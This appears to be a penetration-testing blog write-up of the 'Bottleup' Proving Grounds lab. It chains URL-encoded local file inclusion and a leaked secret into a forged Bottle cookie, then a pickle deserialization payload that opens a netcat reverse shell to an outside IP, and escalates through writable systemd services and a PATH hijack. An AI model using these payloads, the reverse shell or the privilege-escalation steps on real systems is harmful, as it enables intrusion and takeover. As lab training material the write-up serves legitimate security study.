[OSCP Practice Series 39] Proving Grounds — Bottleup

Ardian Danny
7 min readJan 21, 2024

--

Machine Type: Linux

Initial

Nmap discovers that only ports 22 and 8080 are open. Port 8080 appears to be hosting a Python web server, possibly Flask or Django. Let’s investigate port 8080.

Can we perform LFI there? It seems challenging; directory traversal isn’t working. However, it must be an LFI. Maybe the issue lies in using a simple payload. I attempted to fuzz it with LFI payloads from https://raw.githubusercontent.com/emadshanab/LFI-Payload-List/master/LFI%20payloads.txt.

wfuzz -c --hh=32 -z file,LFI\ payloads.txt http://192.168.160.246:8080/view?page=FUZZ

WHOA! Multiple payloads can be used! It appears that we need to use URL-encoded payloads.

http://192.168.160.246:8080/view?page=%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:110:1::/var/cache/pollinate:/bin/false usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin sshd:x:112:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false fwupd-refresh:x:113:117:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin hcue:x:1000:1000::/home/hcue:/bin/sh

We’ve identified a user named ‘hcue.’ With this information, we can retrieve the ‘local.txt’ file.

local.txt: 1959006d2c01ffbf23acb80f4c409fb2

Now, let’s search for intriguing files using LFI. We can utilize this list of interesting files: https://github.com/ricew4ng/Blasting-Dictionary/blob/master/LFI-Interesting-Files%EF%BC%88249%EF%BC%89.txt.

/proc/self/environ

/proc/self/cmdline

Alright, we’ve obtained the file path /usr/bin/python3/opt/bottle-blog/app.py. However, there seems to be a formatting issue; the correct path should be /opt/bottle-blog/app.py. Let’s proceed to examine the source code.

Content of app.py .

from bottle import route, run, static_file,template,request,response,error 
from config.secret import secret
import os
import urllib
import re @route("/")

def home():
session = request.get_cookie('name',secret=secret)

if (not session):
session={"name":"guest"}
response.set_cookie('name',session,secret=secret)

return template('index',name=session['name'])


@route('/static/js/<filename>')
def server_static(filename):
return static_file(filename, root=os.getcwd()+'/views/js/')


@route('/static/css/<filename>')
def server_static(filename):
return static_file(filename, root=os.getcwd()+'/views/css/')

@route("/view", methods=['GET'])
def home():
try:
# Avoiding URL Encoding
# Fix added after the report from our security team
# Added by Developer bob

page = urllib.parse.unquote(request.query_string.split("=")[1])

except:
page=""
if page =="":
return template("error.html",error="Error! Page Parameter empty!")

# Avoiding leaking code source or config
elif page.startswith("app.py") or page.startswith("config"):
return template("error.html",error="You can't view this page!")

# Avoiding directory traversal
if ('../' not in page) and ('./' not in page):
# Inforcing URL Encoding
# Added by Intern Max
page = urllib.parse.unquote(page)
p="404"

if os.path.isfile(os.getcwd() + '/'+ page):
with open(os.getcwd() + '/'+ page, "r") as f:
p = f.read()

else:
return template("error.html",error="Page not found!")

return template("blog.html",read = p) @error(404)


def error404(error):
return template('error.html',error='404 not found')

if __name__ == '__main__':
run(host='0.0.0.0', port=8080)

It appears that there isn’t anything directly useful within the code. However, the interesting aspect lies in the import statements. The code imports ‘secret’ from ‘config.secret.’ Therefore, there must be a ‘secret.py’ file under the ‘config’ folder.

Let’s explore the contents by checking /opt/bottle-blog/config/secret.py.

We’ve obtained the app secret.

secret = "546546DSQ7711DSQDSQXWZ"

We should be able to use this app secret to create a cookie for any user, including the ‘admin’ user. Given the presence of an admin menu (though it redirects to an unknown page), let’s generate a cookie for the ‘admin’ user using the code from the application.

from bottle import route, run, static_file,template,request,response,error 
from config.secret import secret
import os
import urllib
import re @route("/")

def home():
session = request.get_cookie('name',secret=secret)

if (not session):
session={"name":"guest"}
response.set_cookie('name',session,secret=secret)

return template('index',name=session['name'])

We just need to do a little modification.

from bottle import route, run, static_file, template, request, response, error

secret = "546546DSQ7711DSQDSQXWZ"

@route('/')
def index():
# Retrieve the value of the 'name' cookie
session = request.get_cookie('name', secret=secret)

if (not session):
session = {"name": "admin"}
# Set or update the 'name' cookie
response.set_cookie('name', session, secret=secret)

return template("index", session=session)

run(host='localhost', port=8000, debug=True)

Now, all that’s left is to send a GET request to our own Python server, and it will set the admin cookie for us.

name="!tha0+wxAFQXZDPeyKFIBuw==?gAWVFwAAAAAAAACMBG5hbWWUfZRoAIwFYWRtaW6Uc4aULg=="

Let’s utilize the obtained cookie in the web application.

While we are now technically the ‘admin’ user, it seems the admin page doesn’t contain anything substantial. Let’s continue our exploration to find something meaningful.

Foothold

After an extensive search yielded no results, I turned to Google for potential exploits related to Python Bottle or similar frameworks. Surprisingly, I stumbled upon an article from Sekai CTF, specifically the ‘Bottle Poem’ challenge, which employs exactly the same concept as this machine.

Now, all that’s left is to perform insecure deserialization. I’ve copied and modified the code from the link above to fit our context.

import base64
import hashlib
import pickle
import hmac
import os

def tob(s):
return s.encode('utf-8')

secret = "546546DSQ7711DSQDSQXWZ"

code = """
import os

os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.45.158 80 >/tmp/f')
"""

class RCE:
def __reduce__(self):
return exec, (code,)

data = RCE()

msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())
print(tob('!') + sig + tob('?') + msg)

As this is a blind scenario, we can transfer the result of the code execution to our webhook or server. However, I opted for a direct reverse shell approach

"!27wnYMaMOJ3QMd6KxPT5vA==?gAWVgAAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIxkCmltcG9ydCBvcwoKb3Muc3lzdGVtKCdybSAvdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfHNoIC1pIDI+JjF8bmMgMTkyLjE2OC40NS4xNTggODAgPi90bXAvZicpCpSFlFKULg=="

Nice, we got in as the ‘hcue’ user.

Getting Root

There’s hardcoded secrets on the db.py file.

# database Will be implemented in the host after finishing moving most of the app
## Use and change the name back once db is setup
## myconn = mysql.connector.connect(host = "localhost", user = "hcue",passwd = "m4st3r_m1nd@123", database = "blog")

We can’t use the password for anything.

I decided to run LinPEAS.

With full write permissions over ‘app.service’ and ‘larj.service’, we should be able to edit them.

/etc/systemd/system/app.service                                                                                                                                                                              
/etc/systemd/system/larj.service

So technically we just edit them and restart the service. I edited the app.service like below.

Description=APP

[Service]
ExecStart=chmod +s /bin/bash
Restart=always
RestartSec=60s
User=hcue
Environment=PATH=/usr/bin:/usr/local/bin:/home/hcue:/home/root
WorkingDirectory=/opt/bottle-blog

[Install]
WantedBy=multi-user.target

I added a malicious payload and ‘RestartSec=60s’ so that the service will restart by itself every 60s, since we don’t have the permission to restart the service manually ourselves.

Okay, it doesn’t work. I guess we can’t force it to restart every 60s just by editing the service file. We need to restart it manually.

Let’s check the ‘larj.service’.

It will execute ‘/bin/bash /opt/larj.sh’ every 60s. Let’s see what this ‘larj.sh’ can do.

#!/bin/bash

##### Developed by Intern Team Members -
##### 2022-2023 Project

echo -e "
#####################################################################
CPU Health Check Report
#####################################################################


Hostname : `hostname`
Kernel Version : `uname -r`
Uptime : `uptime | sed 's/.*up \([^,]*\), .*/\1/'`
Last Reboot Time : `who -b | awk '{print $3,$4}'`



*********************************************************************
CPU Load - > Threshold < 1 Normal > 1 Caution , > 2 Unhealthy
*********************************************************************
" > /root/status.log

LSCPU=`which lscpu`
LSCPU=$?
if [ $LSCPU != 0 ]
then
RESULT=$RESULT" lscpu required to producre acqurate reults"
else
cpus=`lscpu | grep -e "^CPU(s):" | cut -f2 -d: | awk '{print $1}'`
i=0
while [ $i -lt $cpus ]
do
echo "CPU$i : `mpstats -P ALL | awk -v var=$i '{ if ($3 == var ) print $4 }' `" >> /root/status.log
let i=$i+1
done
fi

echo -e "
Load Average : `uptime | awk -F'load average:' '{ print $2 }' | cut -f1 -d,`

Heath Status : `uptime | awk -F'load average:' '{ print $2 }' | cut -f1 -d, | awk '{if ($1 > 2) print "Unhealthy"; else if ($1 > 1) print "Caution"; else print "Normal"}'`
" >> /root/status.log

Okay, this is very confusing. Let’s just try to run it.

AHH, it seems the ‘mpstats’ command is not defined in the PATH variable location. But we know that our user’s home directory is on the PATH. We just need to create a malicious ‘mpstats’ binary in the ‘/home/hcue’ directory and wait for the service to execute it.

Nice!

proof.txt: 72d7cace5eab6824cb450e83a880c0de

Learned

  • Python with a weird cookie, most likely pickle deserialization.
  • Read service files in /etc/systemd/system/.
  • Run LinPEAS.sh right away to not waste time.

--

--

Ardian Danny
Ardian Danny

Written by Ardian Danny

Penetration Tester, Ethical Hacker, CTF Player, and a Cat Lover. My first account got disabled by Medium, but it won’t stop me from sharing the things I love.